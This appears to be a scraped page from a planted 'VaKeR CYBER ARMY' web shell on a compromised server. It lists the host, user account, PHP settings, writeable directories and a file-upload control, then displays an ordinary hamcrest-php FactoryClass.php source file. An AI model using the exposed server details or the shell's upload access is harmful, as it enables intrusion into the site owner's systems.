VaKeR CYBER ARMY
Logo of a company Server : Apache
System : Linux host44.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
User : vapecompany ( 2719)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /home/vapecompany/demo.vapecompany.com.bd/vendor/hamcrest/hamcrest-php/generator/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/vapecompany/demo.vapecompany.com.bd/vendor/hamcrest/hamcrest-php/generator/FactoryClass.php
<?php

/*
 Copyright (c) 2009 hamcrest.org
 */

class FactoryClass
{
    /**
     * @var string
     */
    private $file;

    /**
     * @var ReflectionClass
     */
    private $reflector;

    /**
     * @var array
     */
    private $methods;

    public function __construct($file, ReflectionClass $class)
    {
        $this->file = $file;
        $this->reflector = $class;
        $this->extractFactoryMethods();
    }

    public function extractFactoryMethods()
    {
        $this->methods = array();
        foreach ($this->getPublicStaticMethods() as $method) {
            if ($method->isFactory()) {
                $this->methods[] = $method;
            }
        }
    }

    public function getPublicStaticMethods()
    {
        $methods = array();
        foreach ($this->reflector->getMethods(ReflectionMethod::IS_STATIC) as $method) {
            if ($method->isPublic() && $method->getDeclaringClass() == $this->reflector) {
                $methods[] = new FactoryMethod($this, $method);
            }
        }
        return $methods;
    }

    public function getFile()
    {
        return $this->file;
    }

    public function getName()
    {
        return $this->reflector->name;
    }

    public function isFactory()
    {
        return !empty($this->methods);
    }

    public function getMethods()
    {
        return $this->methods;
    }
}

VaKeR 2022